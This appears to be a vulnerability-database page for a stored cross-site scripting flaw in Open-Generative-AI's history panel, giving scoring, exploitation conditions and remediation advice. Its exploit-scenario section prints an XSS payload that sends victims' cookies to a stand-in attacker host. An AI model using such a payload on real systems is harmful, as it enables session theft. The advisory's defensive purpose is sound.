Skip to main content

Open-Generative-AI CVE-2026-90602

| EUVDEUVD-2026-77131 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-13 VulDB GHSA-4983-r678-hfh4
5.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as low-privilege registered user
  2. Delivery
    Submit image generation prompt containing XSS payload
  3. Exploit
    Payload stored in server-side generation history
  4. Install
    Victim user navigates to studio history panel
  5. C2
    renderHistory sets thumb.innerHTML with unsanitized prompt string
  6. Execute
    Injected script executes in victim browser context
  7. Impact
    Session data exfiltrated or DOM manipulated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) a valid authenticated account on the target Open-Generative-AI instance with at least low-privilege access to the image or media generation features, so that a malicious entry can be written to the generation history (CVSS PR:L); (2) a victim user who subsequently navigates to the history panel where the malicious entry is rendered via innerHTML (CVSS UI:P - passive user interaction). The instance must be running a version at or below 1.0.11 or 2.0.0. Limiting factors: the attacker must hold a registered account, ruling out unauthenticated exploitation; the XSS fires only through the history thumbnail rendering path and not through arbitrary input fields; confidentiality and availability impacts at the server/application level are absent (VC:N/VA:N per the CVSS 4.0 vector); scope change to the victim browser (session credential theft, DOM manipulation) is the primary concern.

Impact

The CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:L/UI:P is a reasonable representation of realistic risk: exploitation requires a valid authenticated account and a victim who passively views the history panel, meaningfully constraining the attacker pool. Even a mid-sized internal deployment team at a location like swidnica running this tool behind an authenticated intranet would face minimal external exposure, though insider threat from any registered account remains relevant. No EPSS score was provided in the input data, no CISA KEV listing exists, and no public exploit code has been identified - these signals collectively support a low-urgency posture for most operators. The flaw is technically trivial given the unguarded innerHTML pattern, but real-world impact is bounded by the niche footprint of the product, the authenticated trigger, and the stored-XSS execution path requiring victim interaction. One notable data quality concern: the input metadata flags the patch as 'Available from vendor,' but the CVE description explicitly states the pull request 'awaits acceptance,' meaning a released patched version is not confirmed - operators should not assume the issue is remediated until the PR is merged and a tagged release is cut.

Exploit ScenarioDerived

An authenticated user submits a crafted image generation prompt containing a payload such as <img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>. The prompt is stored in the session's generation history. When any authenticated user subsequently opens the ImageStudio history panel, the renderHistory function interpolates the stored prompt directly into innerHTML, causing the injected script to execute in the victim's browser and exfiltrate session credentials. No public proof-of-concept code has been identified, but the exploit pattern follows the standard stored-XSS kill chain and requires no specialized tooling.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 13, 2026

Stored cross-site scripting in Open-Generative-AI's studio history components (ImageStudio.js, CinemaStudio.js, LipSyncStudio.js, VideoStudio.js) allows an authenticated low-privileged user to inject arbitrary HTML and JavaScript into the history panel by crafting a malicious generation prompt or URL, which then executes in any victim's browser session when the history panel is viewed. Versions up to 1.0.11 and 2.0.0 are affected per CPE and VulDB reporting. No public exploit has been identified at time of analysis, and no KEV listing exists, but the technique is trivially reproducible given the unguarded innerHTML interpolation pattern visible in the patch diff.

RemediationAI

The upstream fix is proposed in GitHub PR #344 (https://github.com/Anil-matcha/Open-Generative-AI/pull/344), which replaces innerHTML template-literal rendering across all four affected studio components with a safe historyDom.mjs DOM-construction helper; however, this PR had not been merged at the time of CVE disclosure, so an officially released patched version is not independently confirmed. Operators should monitor the repository for PR merge and a tagged release beyond version 2.0.0 before considering the issue closed. As an interim compensating control, restricting application access to fully trusted authenticated users via network-level ACLs or authentication gating limits the attacker pool to insiders. Deploying a Content Security Policy header that disallows unsafe-inline scripts (default-src 'self'; script-src 'self') would significantly degrade XSS payload execution even if the injection point is triggered; note that CSP alone does not prevent HTML manipulation and may not block all XSS vectors. Self-hosting operators should treat the unmerged PR diff as the authoritative description of the fix and may apply it manually.

Affected VersionsENISA

Open-Generative-AI 1.0.4
Open-Generative-AI 1.0.6
Open-Generative-AI 1.0.0
Open-Generative-AI 1.0.3
Open-Generative-AI 2.0
Open-Generative-AI 1.0.7
Open-Generative-AI 1.0.9
Open-Generative-AI 1.0.8
Open-Generative-AI 1.0.5
Open-Generative-AI 1.0.10
Open-Generative-AI 1.0.2
Open-Generative-AI 1.0.1
Open-Generative-AI 1.0.11

Affected Packages

euvd open_generative_ai no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Open-Generative-AI (CPE: cpe:2.3:a:anil-matcha:open-generative-ai:*:*:*:*:*:*:*:*) is a JavaScript web application providing generative AI studio interfaces for image, video, cinema, and lipsync media generation. The root cause (CWE-79, Improper Neutralization of Input During Web Page Generation) is the use of backtick template literals with direct string interpolation of user-supplied history data into element.innerHTML. Specifically, the renderHistory logic in ImageStudio.js constructs thumbnail markup as innerHTML = <img src='${entry.url}' alt='${entry.prompt?.substring(0,30)}'...>, where neither entry.url nor entry.prompt is sanitized or escaped before insertion. The fix in PR #344 introduces a historyDom.mjs helper module that replaces all innerHTML assignments with programmatic DOM construction via document.createElement, setAttribute, and appendChild, eliminating the injection surface entirely. The same pattern was concurrently fixed in CinemaStudio.js, LipSyncStudio.js, and VideoStudio.js.

Know when Open Generative Ai gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 5.4 MEDIUM

Stored XSS requires authenticated attacker (PR:L) and victim viewing history (UI:R); scope changes to victim browser (S:C) with low confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A vulnerability was determined in Anil-matcha Open-Generative-AI up to 1.0.11/2.0.0. Affected by this vulnerability is the function renderHistory of the file ImageStudio.js of the component Studio Components. This manipulation causes cross site scripting. The attack may be initiated remotely. The pull request to fix this issue awaits acceptance.

Threat Intelligence Overview

EPSS Score
0.3%
Top 73% exploitable
Prevalence
Rare
niche open-source AI studio tool with minimal enterprise adoption
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy